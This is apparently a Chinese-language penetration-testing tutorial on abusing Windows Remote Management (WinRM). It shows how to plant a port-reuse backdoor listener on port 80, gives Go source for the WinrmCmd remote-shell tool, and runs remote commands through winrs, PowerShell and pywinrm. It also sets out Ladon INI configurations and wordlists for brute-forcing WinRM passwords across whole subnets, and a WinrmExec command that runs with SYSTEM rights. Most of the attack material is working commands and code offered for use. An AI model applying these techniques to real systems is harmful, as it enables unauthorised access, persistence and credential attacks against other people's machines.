Winrm遠端命令/埠複用後門/WinrmCmd/密碼爆破
簡介
WinRM是WindowsRemoteManagementd(win遠端管理)的簡稱。基於Web服務管理(WS-Management)標準,使用80埠或者443埠。這樣一來,我們就可以在對方有設定防火牆的情況下遠端管理這臺伺服器了。
Server2008R2及往上的系統中預設中都開啟該服務,從Server2012系統後開始,該WinRM服務便被設定為預設開啟。Win7系統中卻預設安裝此WinRM服務,但是預設為禁用狀態,Win8系統和Win10系統也都預設開啟WinRM服務。
PS:WIN7或2008需要手動開戶WINRM
預設埠
5985/tcp (HTTP)
5986/tcp (HTTPS)
快速啟動WinRM
winrm quickconfig -q 或 winrm qc
埠複用後門
對於Windows Server 2012以上的伺服器作業系統中,WinRM服務預設啟動並監聽了5985埠。
通過下面的命令,可以新增WinRM一個80埠的監聽。
winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"}
PS:該方法適用於有web的機器,不會開啟新埠,也不需要新的EXE程序或DLL劫持。
Winrs遠端執行命令
需要客戶端啟用Winrm,SYS許可權受限制
客戶端啟用Winrm
winrm quickconfig -q
winrm set winrm/config/Client @{TrustedHosts="*"}
遠端執行CMD
通過Winrs連線,並執行whoami命令
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 whoami
通過Winrs連線,並獲得互動式的shell
winrs -r:http://192.168.1.20 -u:k8gege -p:k8gege520 cmd
PowerShell遠端執行命令
需要客戶端啟用Winrm,和系統自帶命令一樣,SYS許可權受限制
$ip="192.168.1.116" #$ip="192.168.1.20" Set-Item WSMan:\localhost\Client\TrustedHosts -Value $ip -Force $securePassword = ConvertTo-SecureString -AsPlainText -Force 'k8gege520' $cred = New-Object System.Management.Automation.PSCredential 'k8gege', $securePassword $cmd = {ls C:\users\public} Invoke-Command -ComputerName $ip -Credential $cred -ScriptBlock $cmd
Pywinrm遠端執行命令
需要客戶端啟用Winrm,和系統自帶命令一樣,SYS許可權受限制
#C:\Users\null\Desktop\pywinrm>python test1.py
#win-\k8gege
import winrm
s=winrm.Session('http://192.168.1.116',auth=('k8gege','k8gege520'))#2012 ok
#s=winrm.Session('http://192.168.1.20',auth=('k8gege','k8gege520'))#win7 fail
r=s.run_ps('dir')
r=s.run_cmd('whoami')
print r.std_out
print r.std_err
Gowinrm遠端執行命令
Go版不受許可權限制,也不需要客戶端啟用Winrm,也不像系統自帶winrs編碼限制
推薦使用版本,跨平臺,任意許可權,工具無需系統客外配置,也無需複雜安裝。
package main
import (
"github.com/masterzen/winrm"
"fmt"
"os"
"strconv"
)
//Winrm Remote Shell by k8gege
//http://k8gege.org/Ladon/WinrmScan.html
#C:\Users\k8gege\Desktop\>winrmcmd.exe 192.168.1.116 5985 k8gege k8gege520 whoami
#k8gege
var help = func () {
fmt.Println("Winrm Shell by k8gege")
fmt.Println("====================================================")
fmt.Println("winrmcmd host port user pass cmd")
}
func main() {
args := os.Args
if len(args) < 5 || args == nil {
help()
return
}
host := args[1]
port,err := strconv.Atoi(args[2])
user := args[3]
pass := args[4]
cmd := args[5]
endpoint := winrm.NewEndpoint(host, port, false, false, nil, nil, nil, 0)
client, err := winrm.NewClient(endpoint, user, pass)
if err != nil {
panic(err)
}
client.Run(cmd, os.Stdout, os.Stderr)
}
C#版遠端執行命令
有兩種方法,一種WSMAN,一種DCOM,都有缺限,一個在WIN7環境執行提示無效程式(在2012系統才正常),另一個在WIN7開發環境正常在2012系統不能使用,再者需啟用Winrm還一樣受許可權限制,還不如用系統自帶命令好。
呼叫winrm爆破
由於C#使用WSMan來訪問winrm均在各種問題,還不如系統自帶命令winrs。
當前機器為中文,目標為英文系統,連線提示編碼問題,設定對應編碼即可
其它語言系統,返回不一定是437,具體自行根據需要修改INI指令碼。
PS:GO版不受許可權限制,也不受編碼限制,建立使用GO版驗證密碼
WinrmScan.ini
[Ladon]
#Brute-Force WinRM
exe=cmd.exe
arg=/c "chcp 437 & winrs -r:http://$ip$:5985 -u:$user$ -p:$pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
port=5985
isok=isok
log=true
注意:INI指令碼必須為ANSI編碼,當前機器與目標必須啟用WINRM,且放行5985埠
後門:如果被別人添加了複用後門,也可以直接爆破80埠,把5985改成80即可。
呼叫WinrmCmd爆破
Go版不受許可權限制,也不需要客戶端啟用Winrm,也不像系統自帶winrs編碼限制
[Ladon]
#Brute-Force WinRM
exe=winrmcmd.exe
arg=$ip$ 5985 $user$ $pass$ "echo isok""
#exe=WinrmScan.exe
#arg=$ip$ $user$ $pass$
isok=isok
log=true
Winrm密碼爆破/暴力破解
配置密碼爆破引數
INI指令碼僅支援標準的user.txt和pass.txt帳密破解
user & pass /傳統帳密
user.txt
k8gege
root
pass.txt
toor
k8gege520
指定IP
Ladon 192.168.1.8 WinrmScan.ini
掃描C段
Ladon 192.168.1.8/c WinrmScan.ini
Ladon 192.168.1.8/24 WinrmScan.ini
掃描B段
Ladon 192.168.1.8/b WinrmScan.ini
掃描A段
Ladon 192.168.1.8/a WinrmScan.ini
批量IP
ip.txt
192.168.1.8
192.168.1.5
192.168.1.109:48
Ladon WinrmScan.ini
批量C段
ip24.txt
192.168.1.
10.1.5.
Ladon WinrmScan.ini
批量B段
ip16.txt
192.168.
10.1.
Ladon WinrmScan.ini
如圖,通過5985埠掃描1.20機器登陸口令
Ladon 7.3版本
>= Ladon 7.3.0
Update: 20200901
Ladon 7.3版本添加了WinrmScan和WinrmExec功能
詳情參考:http://k8gege.org/Ladon/WinrmExec
WinrmScan 5985密碼爆破
Ladon 192.168.1.8 WinrmScan
Ladon 192.168.1.8/24 WinrmScan
WinrmExec 遠端執行命令
1.無回顯
2.支援SYSTEM許可權
Usage:
Ladon WinrmExec <Target> [Port] [Domain] [Username] [Password] <Command>
Default Port is 5985
Example:
Ladon WinrmExec 192.168.1.116 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 80 . k8gege K8test520!@# calc.exe
Ladon WinrmExec 192.168.1.116 5985 . k8gege K8test520!@# calc.exe
Winrm密碼爆破/埠複用後門
相關知識點請參考:http://k8gege.org/Ladon/WinrmScan.html
工具下載
最新版本:https://k8gege.org/Download
歷史版本: https://github.com/k8gege/Ladon/releases
WinrmCmd: https://github.com/k8gege/WinrmCmd